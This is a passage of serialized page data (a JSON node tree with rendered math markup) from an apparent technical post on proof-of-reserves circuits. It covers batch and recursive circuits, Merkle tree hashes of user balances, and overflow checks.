3484},{"className":93483},[3069],[93485],{"type":28,"value":20670},{"type":23,"tag":504,"props":93487,"children":93489},{"className":93488,"style":3108},[3069],[],{"type":23,"tag":504,"props":93491,"children":93493},{"className":93492},[2988],[93494],{"type":28,"value":8572},{"type":23,"tag":504,"props":93496,"children":93498},{"className":93497},[3101],[93499],{"type":28,"value":3104},{"type":23,"tag":504,"props":93501,"children":93503},{"className":93502,"style":3108},[3069],[],{"type":23,"tag":504,"props":93505,"children":93507},{"className":93506},[2988,20569],[93508],{"type":28,"value":93266},{"type":23,"tag":504,"props":93510,"children":93512},{"className":93511},[2988,20569],[93513],{"type":28,"value":9633},{"type":23,"tag":504,"props":93515,"children":93517},{"className":93516},[2988],[93518,93523],{"type":23,"tag":504,"props":93519,"children":93521},{"className":93520},[2988,20569],[93522],{"type":28,"value":83096},{"type":23,"tag":504,"props":93524,"children":93526},{"className":93525},[3005],[93527],{"type":23,"tag":504,"props":93528,"children":93530},{"className":93529},[3010,20623],[93531,93565],{"type":23,"tag":504,"props":93532,"children":93534},{"className":93533},[3015],[93535,93560],{"type":23,"tag":504,"props":93536,"children":93538},{"className":93537,"style":91850},[3020],[93539],{"type":23,"tag":504,"props":93540,"children":93541},{"style":91854},[93542,93546],{"type":23,"tag":504,"props":93543,"children":93545},{"className":93544,"style":3030},[3029],[],{"type":23,"tag":504,"props":93547,"children":93549},{"className":93548},[3035,3036,3037,3038],[93550],{"type":23,"tag":504,"props":93551,"children":93553},{"className":93552},[2988,3038],[93554],{"type":23,"tag":504,"props":93555,"children":93557},{"className":93556},[2988,3038],[93558],{"type":28,"value":93559},"511",{"type":23,"tag":504,"props":93561,"children":93563},{"className":93562},[20726],[93564],{"type":28,"value":20729},{"type":23,"tag":504,"props":93566,"children":93568},{"className":93567},[3015],[93569],{"type":23,"tag":504,"props":93570,"children":93572},{"className":93571,"style":91881},[3020],[93573],{"type":23,"tag":504,"props":93574,"children":93575},{},[],{"type":23,"tag":504,"props":93577,"children":93579},{"className":93578},[20720],[93580],{"type":28,"value":2105},{"type":28,"value":5441},{"type":23,"tag":296,"props":93583,"children":93584},{},[93585],{"type":28,"value":93586},"(merkle tree hash)",{"type":23,"tag":45,"props":93588,"children":93589},{},[93590,93865,93866,93871,93873,93878],{"type":23,"tag":56,"props":93591,"children":93593},{"className":93592},[2960,2961],[93594],{"type":23,"tag":504,"props":93595,"children":93597},{"className":93596},[2966],[93598],{"type":23,"tag":504,"props":93599,"children":93601},{"className":93600,"ariaHidden":2972},[2971],[93602,93795],{"type":23,"tag":504,"props":93603,"children":93605},{"className":93604},[2977],[93606,93610,93615,93620,93625,93630,93635,93640,93645,93650,93655,93660,93665,93670,93675,93680,93737,93742,93747,93752,93757,93762,93767,93772,93777,93782,93786,93791],{"type":23,"tag":504,"props":93607,"children":93609},{"className":93608,"style":91740},[2982],[],{"type":23,"tag":504,"props":93611,"children":93613},{"className":93612},[2988,20569],[93614],{"type":28,"value":92},{"type":23,"tag":504,"props":93616,"children":93618},{"className":93617},[2988,20569],[93619],{"type":28,"value":92255},{"type":23,"tag":504,"props":93621,"children":93623},{"className":93622},[2988,20569],[93624],{"type":28,"value":92057},{"type":23,"tag":504,"props":93626,"children":93628},{"className":93627},[2988,20569],[93629],{"type":28,"value":55382},{"type":23,"tag":504,"props":93631,"children":93633},{"className":93632},[2988,20569],[93634],{"type":28,"value":20711},{"type":23,"tag":504,"props":93636,"children":93638},{"className":93637,"style":91798},[2988],[93639],{"type":28,"value":2059},{"type":23,"tag":504,"props":93641,"children":93643},{"className":93642},[2988,20569],[93644],{"type":28,"value":92},{"type":23,"tag":504,"props":93646,"children":93648},{"className":93647},[2988,20569],[93649],{"type":28,"value":91789},{"type":23,"tag":504,"props":93651,"children":93653},{"className":93652},[2988,20569],[93654],{"type":28,"value":20711},{"type":23,"tag":504,"props":93656,"children":93658},{"className":93657,"style":91798},[2988],[93659],{"type":28,"value":2059},{"type":23,"tag":504,"props":93661,"children":93663},{"className":93662},[2988,20569],[93664],{"type":28,"value":91806},{"type":23,"tag":504,"props":93666,"children":93668},{"className":93667,"style":91810},[2988,20569],[93669],{"type":28,"value":91813},{"type":23,"tag":504,"props":93671,"children":93673},{"className":93672},[2988,20569],[93674],{"type":28,"value":91819},{"type":23,"tag":504,"props":93676,"children":93678},{"className":93677},[2988,20569],[93679],{"type":28,"value":91825},{"type":23,"tag":504,"props":93681,"children":93683},{"className":93682},[2988],[93684,93689],{"type":23,"tag":504,"props":93685,"children":93687},{"className":93686},[2988,20569],[93688],{"type":28,"value":9633},{"type":23,"tag":504,"props":93690,"children":93692},{"className":93691},[3005],[93693],{"type":23,"tag":504,"props":93694,"children":93696},{"className":93695},[3010,20623],[93697,93726],{"type":23,"tag":504,"props":93698,"children":93700},{"className":93699},[3015],[93701,93721],{"type":23,"tag":504,"props":93702,"children":93704},{"className":93703,"style":92327},[3020],[93705],{"type":23,"tag":504,"props":93706,"children":93707},{"style":91854},[93708,93712],{"type":23,"tag":504,"props":93709,"children":93711},{"className":93710,"style":3030},[3029],[],{"type":23,"tag":504,"props":93713,"children":93715},{"className":93714},[3035,3036,3037,3038],[93716],{"type":23,"tag":504,"props":93717,"children":93719},{"className":93718},[2988,20569,3038],[93720],{"type":28,"value":2716},{"type":23,"tag":504,"props":93722,"children":93724},{"className":93723},[20726],[93725],{"type":28,"value":20729},{"type":23,"tag":504,"props":93727,"children":93729},{"className":93728},[3015],[93730],{"type":23,"tag":504,"props":93731,"children":93733},{"className":93732,"style":91881},[3020],[93734],{"type":23,"tag":504,"props":93735,"children":93736},{},[],{"type":23,"tag":504,"props":93738,"children":93740},{"className":93739},[20698],[93741],{"type":28,"value":2711},{"type":23,"tag":504,"props":93743,"children":93745},{"className":93744},[2988,20569],[93746],{"type":28,"value":92},{"type":23,"tag":504,"props":93748,"children":93750},{"className":93749},[2988,20569],[93751],{"type":28,"value":91789},{"type":23,"tag":504,"props":93753,"children":93755},{"className":93754},[2988,20569],[93756],{"type":28,"value":20711},{"type":23,"tag":504,"props":93758,"children":93760},{"className":93759,"style":91798},[2988],[93761],{"type":28,"value":2059},{"type":23,"tag":504,"props":93763,"children":93765},{"className":93764},[2988,20569],[93766],{"type":28,"value":55382},{"type":23,"tag":504,"props":93768,"children":93770},{"className":93769},[2988,20569],[93771],{"type":28,"value":92057},{"type":23,"tag":504,"props":93773,"children":93775},{"className":93774},[2988,20569],[93776],{"type":28,"value":50112},{"type":23,"tag":504,"props":93778,"children":93780},{"className":93779},[20720],[93781],{"type":28,"value":14391},{"type":23,"tag":504,"props":93783,"children":93785},{"className":93784,"style":3167},[3069],[],{"type":23,"tag":504,"props":93787,"children":93789},{"className":93788},[3172],[93790],{"type":28,"value":4789},{"type":23,"tag":504,"props":93792,"children":93794},{"className":93793,"style":3167},[3069],[],{"type":23,"tag":504,"props":93796,"children":93798},{"className":93797},[2977],[93799,93803,93810,93815,93821,93826,93831,93836,93842,93847,93853,93859],{"type":23,"tag":504,"props":93800,"children":93802},{"className":93801,"style":91740},[2982],[],{"type":23,"tag":504,"props":93804,"children":93807},{"className":93805,"style":93806},[2988,20569],"margin-right:0.10903em;",[93808],{"type":28,"value":93809},"M",{"type":23,"tag":504,"props":93811,"children":93813},{"className":93812},[2988,20569],[93814],{"type":28,"value":75518},{"type":23,"tag":504,"props":93816,"children":93819},{"className":93817,"style":93818},[2988,20569],"margin-right:0.07847em;",[93820],{"type":28,"value":5117},{"type":23,"tag":504,"props":93822,"children":93824},{"className":93823,"style":91798},[2988],[93825],{"type":28,"value":2059},{"type":23,"tag":504,"props":93827,"children":93829},{"className":93828,"style":21028},[2988,20569],[93830],{"type":28,"value":21031},{"type":23,"tag":504,"props":93832,"children":93834},{"className":93833},[2988,20569],[93835],{"type":28,"value":75518},{"type":23,"tag":504,"props":93837,"children":93839},{"className":93838,"style":21028},[2988,20569],[93840],{"type":28,"value":93841},"FE",{"type":23,"tag":504,"props":93843,"children":93845},{"className":93844,"style":91798},[2988],[93846],{"type":28,"value":2059},{"type":23,"tag":504,"props":93848,"children":93850},{"className":93849,"style":93818},[2988,20569],[93851],{"type":28,"value":93852},"I",{"type":23,"tag":504,"props":93854,"children":93856},{"className":93855,"style":20570},[2988,20569],[93857],{"type":28,"value":93858},"NT",{"type":23,"tag":504,"props":93860,"children":93862},{"className":93861},[2988],[93863],{"type":28,"value":93864},"/512",{"type":28,"value":5441},{"type":23,"tag":296,"props":93867,"children":93868},{},[93869],{"type":28,"value":93870},"(overflow check)",{"type":28,"value":93872}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":56,"props":93874,"children":93876},{"className":93875},[],[93877],{"type":28,"value":91656},{"type":28,"value":2105},{"type":23,"tag":24,"props":93880,"children":93881},{},[93882],{"type":28,"value":93883},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":24,"props":93885,"children":93886},{},[93887],{"type":23,"tag":126,"props":93888,"children":93890},{"alt":128,"src":93889},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":82,"props":93892,"children":93894},{"id":93893},"recursive-circuit",[93895],{"type":28,"value":93896},"Recursive Circuit",{"type":23,"tag":24,"props":93898,"children":93899},{},[93900],{"type":28,"value":93901},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":24,"props":93903,"children":93904},{},[93905],{"type":23,"tag":296,"props":93906,"children":93907},{},[93908],{"type":28,"value":92170},{"type":23,"tag":350,"props":93910,"children":93911},{},[93912,93916,93921],{"type":23,"tag":45,"props":93913,"children":93914},{},[93915],{"type":28,"value":92188},{"type":23,"tag":45,"props":93917,"children":93918},{},[93919],{"type":28,"value":93920},"Asset prices",{"type":23,"tag":45,"props":93922,"children":93923},{},[93924],{"type":28,"value":92183},{"type":23,"tag":24,"props":93926,"children":93927},{},[93928],{"type":23,"tag":296,"props":93929,"children":93930},{},[93931],{"type":28,"value":92196},{"type":23,"tag":350,"props":93933,"children":93934},{},[93935],{"type":23,"tag":45,"props":93936,"children":93937},{},[93938],{"type":28,"value":93939},"8 subproofs",{"type":23,"tag":24,"props":93941,"children":93942},{},[93943],{"type":23,"tag":296,"props":93944,"children":93945},{},[93946],{"type":28,"value":92217},{"type":23,"tag":350,"props":93948,"children":93949},{},[93950,94360,94691,95058,95445],{"type":23,"tag":45,"props":93951,"children":93952},{},[93953,94355,94356],{"type":23,"tag":56,"props":93954,"children":93956},{"className":93955},[2960,2961],[93957],{"type":23,"tag":504,"props":93958,"children":93960},{"className":93959},[2966],[93961],{"type":23,"tag":504,"props":93962,"children":93964},{"className":93963,"ariaHidden":2972},[2971],[93965,94101],{"type":23,"tag":504,"props":93966,"children":93968},{"className":93967},[2977],[93969,93973,93978,93983,93988,93993,93998,94003,94008,94013,94018,94023,94028,94033,94038,94043,94048,94053,94058,94063,94068,94073,94078,94083,94088,94092,94097],{"type":23,"tag":504,"props":93970,"children":93972},{"className":93971,"style":91740},[2982],[],{"type":23,"tag":504,"props":93974,"children":93976},{"className":93975},[2988,20569],[93977],{"type":28,"value":20711},{"type":23,"tag":504,"props":93979,"children":93981},{"className":93980},[2988,20569],[93982],{"type":28,"value":91768},{"type":23,"tag":504,"props":93984,"children":93986},{"className":93985},[2988,20569],[93987],{"type":28,"value":20711},{"type":23,"tag":504,"props":93989,"children":93991},{"className":93990},[2988,20569],[93992],{"type":28,"value":92},{"type":23,"tag":504,"props":93994,"children":93996},{"className":93995,"style":91810},[2988,20569],[93997],{"type":28,"value":91813},{"type":23,"tag":504,"props":93999,"children":94001},{"className":94000,"style":91798},[2988],[94002],{"type":28,"value":2059},{"type":23,"tag":504,"props":94004,"children":94006},{"className":94005},[2988,20569],[94007],{"type":28,"value":92},{"type":23,"tag":504,"props":94009,"children":94011},{"className":94010},[2988,20569],[94012],{"type":28,"value":91789},{"type":23,"tag":504,"props":94014,"children":94016},{"className":94015},[2988,20569],[94017],{"type":28,"value":20711},{"type":23,"tag":504,"props":94019,"children":94021},{"className":94020,"style":91798},[2988],[94022],{"type":28,"value":2059},{"type":23,"tag":504,"props":94024,"children":94026},{"className":94025},[2988,20569],[94027],{"type":28,"value":91806},{"type":23,"tag":504,"props":94029,"children":94031},{"className":94030,"style":91810},[2988,20569],[94032],{"type":28,"value":91813},{"type":23,"tag":504,"props":94034,"children":94036},{"className":94035},[2988,20569],[94037],{"type":28,"value":91819},{"type":23,"tag":504,"props":94039,"children":94041},{"className":94040},[2988,20569],[94042],{"type":28,"value":91825},{"type":23,"tag":504,"props":94044,"children":94046},{"className":94045},[20698],[94047],{"type":28,"value":2711},{"type":23,"tag":504,"props":94049,"children":94051},{"className":94050},[2988,20569],[94052],{"type":28,"value":92},{"type":23,"tag":504,"props":94054,"children":94056},{"className":94055},[2988,20569],[94057],{"type":28,"value":91789},{"type":23,"tag":504,"props":94059,"children":94061},{"className":94060},[2988,20569],[94062],{"type":28,"value":20711},{"type":23,"tag":504,"props":94064,"children":94066},{"className":94065,"style":91798},[2988],[94067],{"type":28,"value":2059},{"type":23,"tag":504,"props":94069,"children":94071},{"className":94070},[2988,20569],[94072],{"type":28,"value":55382},{"type":23,"tag":504,"props":94074,"children":94076},{"className":94075},[2988,20569],[94077],{"type":28,"value":92057},{"type":23,"tag":504,"props":94079,"children":94081},{"className":94080},[2988,20569],[94082],{"type":28,"value":50112},{"type":23,"tag":504,"props":94084,"children":94086},{"className":94085},[20720],[94087],{"type":28,"value":14391},{"type":23,"tag":504,"props":94089,"children":94091},{"className":94090,"style":3167},[3069],[],{"type":23,"tag":504,"props":94093,"children":94095},{"className":94094},[3172],[94096],{"type":28,"value":7559},{"type":23,"tag":504,"props":94098,"children":94100},{"className":94099,"style":3167},[3069],[],{"type":23,"tag":504,"props":94102,"children":94104},{"className":94103},[2977],[94105,94109,94114,94119,94124,94129,94134,94139,94145,94204,94209,94214,94219,94224,94229,94234,94239,94244,94250,94255,94260,94265,94270,94275,94280,94285,94290,94295,94300,94305,94310,94315,94320,94325,94330,94335,94340,94345,94350],{"type":23,"tag":504,"props":94106,"children":94108},{"className":94107,"style":91740},[2982],[],{"type":23,"tag":504,"props":94110,"children":94112},{"className":94111},[2988],[94113],{"type":28,"value":92388},{"type":23,"tag":504,"props":94115,"children":94117},{"className":94116},[3069],[94118],{"type":28,"value":20670},{"type":23,"tag":504,"props":94120,"children":94122},{"className":94121},[2988,20569],[94123],{"type":28,"value":9633},{"type":23,"tag":504,"props":94125,"children":94127},{"className":94126},[2988,20569],[94128],{"type":28,"value":92057},{"type":23,"tag":504,"props":94130,"children":94132},{"className":94131},[2988,20569],[94133],{"type":28,"value":2200},{"type":23,"tag":504,"props":94135,"children":94137},{"className":94136},[2988,20569],[94138],{"type":28,"value":24},{"type":23,"tag":504,"props":94140,"children":94142},{"className":94141},[2988,20569],[94143],{"type":28,"value":94144},"roo",{"type":23,"tag":504,"props":94146,"children":94148},{"className":94147},[2988],[94149,94155],{"type":23,"tag":504,"props":94150,"children":94153},{"className":94151,"style":94152},[2988,20569],"margin-right:0.10764em;",[94154],{"type":28,"value":32062},{"type":23,"tag":504,"props":94156,"children":94158},{"className":94157},[3005],[94159],{"type":23,"tag":504,"props":94160,"children":94162},{"className":94161},[3010,20623],[94163,94193],{"type":23,"tag":504,"props":94164,"children":94166},{"className":94165},[3015],[94167,94188],{"type":23,"tag":504,"props":94168,"children":94170},{"className":94169,"style":92327},[3020],[94171],{"type":23,"tag":504,"props":94172,"children":94174},{"style":94173},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[94175,94179],{"type":23,"tag":504,"props":94176,"children":94178},{"className":94177,"style":3030},[3029],[],{"type":23,"tag":504,"props":94180,"children":94182},{"className":94181},[3035,3036,3037,3038],[94183],{"type":23,"tag":504,"props":94184,"children":94186},{"className":94185},[2988,20569,3038],[94187],{"type":28,"value":2716},{"type":23,"tag":504,"props":94189,"children":94191},{"className":94190},[20726],[94192],{"type":28,"value":20729},{"type":23,"tag":504,"props":94194,"children":94196},{"className":94195},[3015],[94197],{"type":23,"tag":504,"props":94198,"children":94200},{"className":94199,"style":91881},[3020],[94201],{"type":23,"tag":504,"props":94202,"children":94203},{},[],{"type":23,"tag":504,"props":94205,"children":94207},{"className":94206},[2988],[94208],{"type":28,"value":320},{"type":23,"tag":504,"props":94210,"children":94212},{"className":94211},[2988,20569],[94213],{"type":28,"value":24},{"type":23,"tag":504,"props":94215,"children":94217},{"className":94216},[2988,20569],[94218],{"type":28,"value":92057},{"type":23,"tag":504,"props":94220,"children":94222},{"className":94221},[2988,20569],[94223],{"type":28,"value":2200},{"type":23,"tag":504,"props":94225,"children":94227},{"className":94226,"style":91810},[2988,20569],[94228],{"type":28,"value":91813},{"type":23,"tag":504,"props":94230,"children":94232},{"className":94231},[2988,20569],[94233],{"type":28,"value":2716},{"type":23,"tag":504,"props":94235,"children":94237},{"className":94236},[2988,20569],[94238],{"type":28,"value":2124},{"type":23,"tag":504,"props":94240,"children":94242},{"className":94241,"style":91798},[2988],[94243],{"type":28,"value":2059},{"type":23,"tag":504,"props":94245,"children":94247},{"className":94246},[2988,20569],[94248],{"type":28,"value":94249},"in",{"type":23,"tag":504,"props":94251,"children":94253},{"className":94252},[2988,20569],[94254],{"type":28,"value":24},{"type":23,"tag":504,"props":94256,"children":94258},{"className":94257},[2988,20569],[94259],{"type":28,"value":92057},{"type":23,"tag":504,"props":94261,"children":94263},{"className":94262},[2988,20569],[94264],{"type":28,"value":20711},{"type":23,"tag":504,"props":94266,"children":94268},{"className":94267},[2988],[94269],{"type":28,"value":320},{"type":23,"tag":504,"props":94271,"children":94273},{"className":94272},[2988,20569],[94274],{"type":28,"value":92},{"type":23,"tag":504,"props":94276,"children":94278},{"className":94277},[2988,20569],[94279],{"type":28,"value":91789},{"type":23,"tag":504,"props":94281,"children":94283},{"className":94282},[2988,20569],[94284],{"type":28,"value":20711},{"type":23,"tag":504,"props":94286,"children":94288},{"className":94287,"style":91798},[2988],[94289],{"type":28,"value":2059},{"type":23,"tag":504,"props":94291,"children":94293},{"className":94292},[2988,20569],[94294],{"type":28,"value":91806},{"type":23,"tag":504,"props":94296,"children":94298},{"className":94297,"style":91810},[2988,20569],[94299],{"type":28,"value":91813},{"type":23,"tag":504,"props":94301,"children":94303},{"className":94302},[2988,20569],[94304],{"type":28,"value":91819},{"type":23,"tag":504,"props":94306,"children":94308},{"className":94307},[2988,20569],[94309],{"type":28,"value":92628},{"type":23,"tag":504,"props":94311,"children":94313},{"className":94312},[20698],[94314],{"type":28,"value":2711},{"type":23,"tag":504,"props":94316,"children":94318},{"className":94317},[2988,20569],[94319],{"type":28,"value":92},{"type":23,"tag":504,"props":94321,"children":94323},{"className":94322},[2988,20569],[94324],{"type":28,"value":91789},{"type":23,"tag":504,"props":94326,"children":94328},{"className":94327},[2988,20569],[94329],{"type":28,"value":20711},{"type":23,"tag":504,"props":94331,"children":94333},{"className":94332,"style":91798},[2988],[94334],{"type":28,"value":2059},{"type":23,"tag":504,"props":94336,"children":94338},{"className":94337},[2988,20569],[94339],{"type":28,"value":55382},{"type":23,"tag":504,"props":94341,"children":94343},{"className":94342},[2988,20569],[94344],{"type":28,"value":92057},{"type":23,"tag":504,"props":94346,"children":94348},{"className":94347},[2988,20569],[94349],{"type":28,"value":50112},{"type":23,"tag":504,"props":94351,"children":94353},{"className":94352},[20720],[94354],{"type":28,"value":14391},{"type":28,"value":5441},{"type":23,"tag":296,"props":94357,"children":94358},{},[94359],{"type":28,"value":93188},{"type":23,"tag":45,"props":94361,"children":94362},{},[94363],{"type":23,"tag":56,"props":94364,"children":94366},{"className":94365},[2960,2961],[94367],{"type":23,"tag":504,"props":94368,"children":94370},{"className":94369},[2966],[94371],{"type":23,"tag":504,"props":94372,"children":94374},{"className":94373,"ariaHidden":2972},[2971],[94375,94481],{"type":23,"tag":504,"props":94376,"children":94378},{"className":94377},[2977],[94379,94383,94388,94393,94398,94403,94408,94413,94418,94423,94428,94433,94438,94443,94448,94453,94458,94463,94468,94472,94477],{"type":23,"tag":504,"props":94380,"children":94382},{"className":94381,"style":91740},[2982],[],{"type":23,"tag":504,"props":94384,"children":94386},{"className":94385},[2988,20569],[94387],{"type":28,"value":92},{"type":23,"tag":504,"props":94389,"children":94391},{"className":94390},[2988,20569],[94392],{"type":28,"value":91789},{"type":23,"tag":504,"props":94394,"children":94396},{"className":94395},[2988,20569],[94397],{"type":28,"value":20711},{"type":23,"tag":504,"props":94399,"children":94401},{"className":94400,"style":91798},[2988],[94402],{"type":28,"value":2059},{"type":23,"tag":504,"props":94404,"children":94406},{"className":94405},[2988,20569],[94407],{"type":28,"value":24},{"type":23,"tag":504,"props":94409,"children":94411},{"className":94410,"style":91798},[2988,20569],[94412],{"type":28,"value":92617},{"type":23,"tag":504,"props":94414,"children":94416},{"className":94415},[2988,20569],[94417],{"type":28,"value":2716},{"type":23,"tag":504,"props":94419,"children":94421},{"className":94420},[2988,20569],[94422],{"type":28,"value":91825},{"type":23,"tag":504,"props":94424,"children":94426},{"className":94425},[20698],[94427],{"type":28,"value":2711},{"type":23,"tag":504,"props":94429,"children":94431},{"className":94430},[2988,20569],[94432],{"type":28,"value":92},{"type":23,"tag":504,"props":94434,"children":94436},{"className":94435},[2988,20569],[94437],{"type":28,"value":91789},{"type":23,"tag":504,"props":94439,"children":94441},{"className":94440},[2988,20569],[94442],{"type":28,"value":20711},{"type":23,"tag":504,"props":94444,"children":94446},{"className":94445,"style":91798},[2988],[94447],{"type":28,"value":2059},{"type":23,"tag":504,"props":94449,"children":94451},{"className":94450},[2988,20569],[94452],{"type":28,"value":55382},{"type":23,"tag":504,"props":94454,"children":94456},{"className":94455},[2988,20569],[94457],{"type":28,"value":92057},{"type":23,"tag":504,"props":94459,"children":94461},{"className":94460},[2988,20569],[94462],{"type":28,"value":50112},{"type":23,"tag":504,"props":94464,"children":94466},{"className":94465},[20720],[94467],{"type":28,"value":14391},{"type":23,"tag":504,"props":94469,"children":94471},{"className":94470,"style":3167},[3069],[],{"type":23,"tag":504,"props":94473,"children":94475},{"className":94474},[3172],[94476],{"type":28,"value":7559},{"type":23,"tag":504,"props":94478,"children":94480},{"className":94479,"style":3167},[3069],[],{"type":23,"tag":504,"props":94482,"children":94484},{"className":94483},[2977],[94485,94489,94494,94499,94504,94509,94514,94571,94576,94581,94586,94591,94596,94601,94606,94611,94616,94621,94626,94631,94636,94641,94646,94651,94656,94661,94666,94671,94676,94681,94686],{"type":23,"tag":504,"props":94486,"children":94488},{"className":94487,"style":91740},[2982],[],{"type":23,"tag":504,"props":94490,"children":94492},{"className":94491},[2988,20569],[94493],{"type":28,"value":9633},{"type":23,"tag":504,"props":94495,"children":94497},{"className":94496},[2988,20569],[94498],{"type":28,"value":92057},{"type":23,"tag":504,"props":94500,"children":94502},{"className":94501},[2988,20569],[94503],{"type":28,"value":2200},{"type":23,"tag":504,"props":94505,"children":94507},{"className":94506},[2988,20569],[94508],{"type":28,"value":24},{"type":23,"tag":504,"props":94510,"children":94512},{"className":94511},[2988,20569],[94513],{"type":28,"value":94144},{"type":23,"tag":504,"props":94515,"children":94517},{"className":94516},[2988],[94518,94523],{"type":23,"tag":504,"props":94519,"children":94521},{"className":94520,"style":94152},[2988,20569],[94522],{"type":28,"value":32062},{"type":23,"tag":504,"props":94524,"children":94526},{"className":94525},[3005],[94527],{"type":23,"tag":504,"props":94528,"children":94530},{"className":94529},[3010,20623],[94531,94560],{"type":23,"tag":504,"props":94532,"children":94534},{"className":94533},[3015],[94535,94555],{"type":23,"tag":504,"props":94536,"children":94538},{"className":94537,"style":92327},[3020],[94539],{"type":23,"tag":504,"props":94540,"children":94541},{"style":94173},[94542,94546],{"type":23,"tag":504,"props":94543,"children":94545},{"className":94544,"style":3030},[3029],[],{"type":23,"tag":504,"props":94547,"children":94549},{"className":94548},[3035,3036,3037,3038],[94550],{"type":23,"tag":504,"props":94551,"children":94553},{"className":94552},[2988,20569,3038],[94554],{"type":28,"value":2716},{"type":23,"tag":504,"props":94556,"children":94558},{"className":94557},[20726],[94559],{"type":28,"value":20729},{"type":23,"tag":504,"props":94561,"children":94563},{"className":94562},[3015],[94564],{"type":23,"tag":504,"props":94565,"children":94567},{"className":94566,"style":91881},[3020],[94568],{"type":23,"tag":504,"props":94569,"children":94570},{},[],{"type":23,"tag":504,"props":94572,"children":94574},{"className":94573},[2988],[94575],{"type":28,"value":320},{"type":23,"tag":504,"props":94577,"children":94579},{"className":94578},[2988,20569],[94580],{"type":28,"value":24},{"type":23,"tag":504,"props":94582,"children":94584},{"className":94583},[2988,20569],[94585],{"type":28,"value":92057},{"type":23,"tag":504,"props":94587,"children":94589},{"className":94588},[2988,20569],[94590],{"type":28,"value":2200},{"type":23,"tag":504,"props":94592,"children":94594},{"className":94593,"style":91810},[2988,20569],[94595],{"type":28,"value":91813},{"type":23,"tag":504,"props":94597,"children":94599},{"className":94598},[2988,20569],[94600],{"type":28,"value":2716},{"type":23,"tag":504,"props":94602,"children":94604},{"className":94603},[2988,20569],[94605],{"type":28,"value":2124},{"type":23,"tag":504,"props":94607,"children":94609},{"className":94608,"style":91798},[2988],[94610],{"type":28,"value":2059},{"type":23,"tag":504,"props":94612,"children":94614},{"className":94613},[2988,20569],[94615],{"type":28,"value":94249},{"type":23,"tag":504,"props":94617,"children":94619},{"className":94618},[2988,20569],[94620],{"type":28,"value":24},{"type":23,"tag":504,"props":94622,"children":94624},{"className":94623},[2988,20569],[94625],{"type":28,"value":92057},{"type":23,"tag":504,"props":94627,"children":94629},{"className":94628},[2988,20569],[94630],{"type":28,"value":20711},{"type":23,"tag":504,"props":94632,"children":94634},{"className":94633},[2988],[94635],{"type":28,"value":320},{"type":23,"tag":504,"props":94637,"children":94639},{"className":94638},[2988,20569],[94640],{"type":28,"value":92},{"type":23,"tag":504,"props":94642,"children":94644},{"className":94643},[2988,20569],[94645],{"type":28,"value":91789},{"type":23,"tag":504,"props":94647,"children":94649},{"className":94648},[2988,20569],[94650],{"type":28,"value":20711},{"type":23,"tag":504,"props":94652,"children":94654},{"className":94653,"style":91798},[2988],[94655],{"type":28,"value":2059},{"type":23,"tag":504,"props":94657,"children":94659},{"className":94658},[2988,20569],[94660],{"type":28,"value":24},{"type":23,"tag":504,"props":94662,"children":94664},{"className":94663,"style":91798},[2988,20569],[94665],{"type":28,"value":92617},{"type":23,"tag":504,"props":94667,"children":94669},{"className":94668},[2988,20569],[94670],{"type":28,"value":2716},{"type":23,"tag":504,"props":94672,"children":94674},{"className":94673},[2988,20569],[94675],{"type":28,"value":92628},{"type":23,"tag":504,"props":94677,"children":94679},{"className":94678},[20698],[94680],{"type":28,"value":2711},{"type":23,"tag":504,"props":94682,"children":94684},{"className":94683},[2988],[94685],{"type":28,"value":3001},{"type":23,"tag":504,"props":94687,"children":94689},{"className":94688},[20720],[94690],{"type":28,"value":14391},{"type":23,"tag":45,"props":94692,"children":94693},{},[94694,95052,95053],{"type":23,"tag":56,"props":94695,"children":94697},{"className":94696},[2960,2961],[94698],{"type":23,"tag":504,"props":94699,"children":94701},{"className":94700},[2966],[94702],{"type":23,"tag":504,"props":94703,"children":94705},{"className":94704,"ariaHidden":2972},[2971],[94706,94812],{"type":23,"tag":504,"props":94707,"children":94709},{"className":94708},[2977],[94710,94714,94719,94724,94729,94734,94739,94744,94749,94754,94759,94764,94769,94774,94779,94784,94789,94794,94799,94803,94808],{"type":23,"tag":504,"props":94711,"children":94713},{"className":94712,"style":91740},[2982],[],{"type":23,"tag":504,"props":94715,"children":94717},{"className":94716},[2988,20569],[94718],{"type":28,"value":92},{"type":23,"tag":504,"props":94720,"children":94722},{"className":94721},[2988,20569],[94723],{"type":28,"value":91789},{"type":23,"tag":504,"props":94725,"children":94727},{"className":94726},[2988,20569],[94728],{"type":28,"value":20711},{"type":23,"tag":504,"props":94730,"children":94732},{"className":94731,"style":91798},[2988],[94733],{"type":28,"value":2059},{"type":23,"tag":504,"props":94735,"children":94737},{"className":94736},[2988,20569],[94738],{"type":28,"value":24},{"type":23,"tag":504,"props":94740,"children":94742},{"className":94741,"style":91798},[2988,20569],[94743],{"type":28,"value":92617},{"type":23,"tag":504,"props":94745,"children":94747},{"className":94746},[2988,20569],[94748],{"type":28,"value":2716},{"type":23,"tag":504,"props":94750,"children":94752},{"className":94751},[2988,20569],[94753],{"type":28,"value":91825},{"type":23,"tag":504,"props":94755,"children":94757},{"className":94756},[20698],[94758],{"type":28,"value":2711},{"type":23,"tag":504,"props":94760,"children":94762},{"className":94761},[2988,20569],[94763],{"type":28,"value":92},{"type":23,"tag":504,"props":94765,"children":94767},{"className":94766},[2988,20569],[94768],{"type":28,"value":91789},{"type":23,"tag":504,"props":94770,"children":94772},{"className":94771},[2988,20569],[94773],{"type":28,"value":20711},{"type":23,"tag":504,"props":94775,"children":94777},{"className":94776,"style":91798},[2988],[94778],{"type":28,"value":2059},{"type":23,"tag":504,"props":94780,"children":94782},{"className":94781},[2988,20569],[94783],{"type":28,"value":55382},{"type":23,"tag":504,"props":94785,"children":94787},{"className":94786},[2988,20569],[94788],{"type":28,"value":92057},{"type":23,"tag":504,"props":94790,"children":94792},{"className":94791},[2988,20569],[94793],{"type":28,"value":50112},{"type":23,"tag":504,"props":94795,"children":94797},{"className":94796},[20720],[94798],{"type":28,"value":14391},{"type":23,"tag":504,"props":94800,"children":94802},{"className":94801,"style":3167},[3069],[],{"type":23,"tag":504,"props":94804,"children":94806},{"className":94805},[3172],[94807],{"type":28,"value":7559},{"type":23,"tag":504,"props":94809,"children":94811},{"className":94810,"style":3167},[3069],[],{"type":23,"tag":504,"props":94813,"children":94815},{"className":94814},[2977],[94816,